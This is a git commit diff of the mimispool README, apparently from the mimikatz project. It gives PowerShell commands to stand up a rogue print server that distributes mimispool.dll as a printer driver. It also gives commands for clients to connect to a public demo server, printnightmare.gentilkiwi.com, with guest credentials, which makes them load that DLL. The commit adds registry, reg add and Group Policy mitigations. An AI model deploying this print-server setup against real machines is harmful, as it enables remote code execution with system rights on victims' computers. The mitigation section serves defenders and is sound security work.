Update README.md

gentilkiwi · web-flow · commit 57bad57f81d4 · 2021-08-12T19:34:30.000+02:00
diff --git a/mimispool/README.md b/mimispool/README.md
@@ -1,9 +1,9 @@
-## PowerShell commands
-
-### Server
-
-#### install
-```
+## PowerShell commands
+
+### Server
+
+#### install
+```
 $printerName     = 'Kiwi Legit Printer'
 $system32        = $env:systemroot + '\system32'
 $drivers         = $system32 + '\spool\drivers'
@@ -36,10 +36,10 @@ New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Directory
 New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Files'     -PropertyType 'MultiString' -Value $null             | Out-Null
 New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Module'    -PropertyType 'String'      -Value 'mimispool.dll'   | Out-Null
 
-```
-
-#### uninstall
-```
+```
+
+#### uninstall
+```
 $printerName     = 'Kiwi Legit Printer'
 $system32        = $env:systemroot + '\system32'
 $drivers         = $system32 + '\spool\drivers'
@@ -48,16 +48,16 @@ Remove-Printer       -Name $printerName
 Start-Sleep -Seconds 2
 Remove-PrinterDriver -Name 'Generic / Text Only'
 
-Remove-Item -Force -Path ($drivers  + '\x64\3\mimispool.dll')
-Remove-Item -Force -Path ($drivers  + '\W32X86\3\mimispool.dll')
-Remove-Item -Force -Path ($system32 + '\mimispool.dll')
-
-```
-
-### Client
-
-#### Any computer with explicit credential to `printnightmare.gentilkiwi.com`
-```
+Remove-Item -Force -Path ($drivers  + '\x64\3\mimispool.dll')
+Remove-Item -Force -Path ($drivers  + '\W32X86\3\mimispool.dll')
+Remove-Item -Force -Path ($system32 + '\mimispool.dll')
+
+```
+
+### Client
+
+#### Any computer with explicit credential to `printnightmare.gentilkiwi.com`
+```
 $serverName  = 'printnightmare.gentilkiwi.com'
 $username    = 'gentilguest'
 $password    = 'password'
@@ -75,13 +75,13 @@ Add-Printer -ConnectionName $fullprinterName
 $driver = (Get-Printer -Name $fullprinterName).DriverName
 Remove-Printer -Name $fullprinterName
 Remove-PrinterDriver -Name $driver
-Remove-PSDrive -Force -Name 'KiwiLegitPrintServer'
-# mimispool still in spool\drivers
-
-```
-
-#### Computer in domain (single sign on with current user to print server)
-```
+Remove-PSDrive -Force -Name 'KiwiLegitPrintServer'
+# mimispool still in spool\drivers
+
+```
+
+#### Computer in domain (single sign on with current user to print server)
+```
 $serverName  = 'print.lab.local'
 $printerName = 'Kiwi Legit Printer'
 
@@ -92,7 +92,39 @@ Add-Printer -ConnectionName $fullprinterName
 
 $driver = (Get-Printer -Name $fullprinterName).DriverName
 Remove-Printer -Name $fullprinterName
-Remove-PrinterDriver -Name $driver
-# mimispool still in spool\drivers
-
-```
+Remove-PrinterDriver -Name $driver
+# mimispool still in spool\drivers
+
+```
+
+## Protect
+_to adapt to your environment_
+
+### Registry
+
+#### `.reg` file
+```
+Windows Registry Editor Version 5.00
+
+[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint]
+"PackagePointAndPrintOnly"=dword:00000001
+"PackagePointAndPrintServerList"=dword:00000001
+
+[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint\ListofServers]
+"1"="/your really legit servers or invalid entry !/"
+```
+
+#### commands
+```
+reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint" /f /v PackagePointAndPrintServerList /t REG_DWORD /d 1
+reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint\ListofServers" /f /v 1 /t REG_SZ /d "/your really legit servers or invalid entry !/"
+reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint" /f /v PackagePointAndPrintOnly /t REG_DWORD /d 1
+```
+
+### GPO / Local
+
+In `Computer Configuration`, `Administrative Templates`, `Printers`, enable:
+- `Only use Package Point and Print`
+- `Package Point and Print - Approved servers`
+
+![image](https://user-images.githubusercontent.com/2307945/129240741-b2a0ba14-6858-4c3f-ad07-07fa55efca29.png)
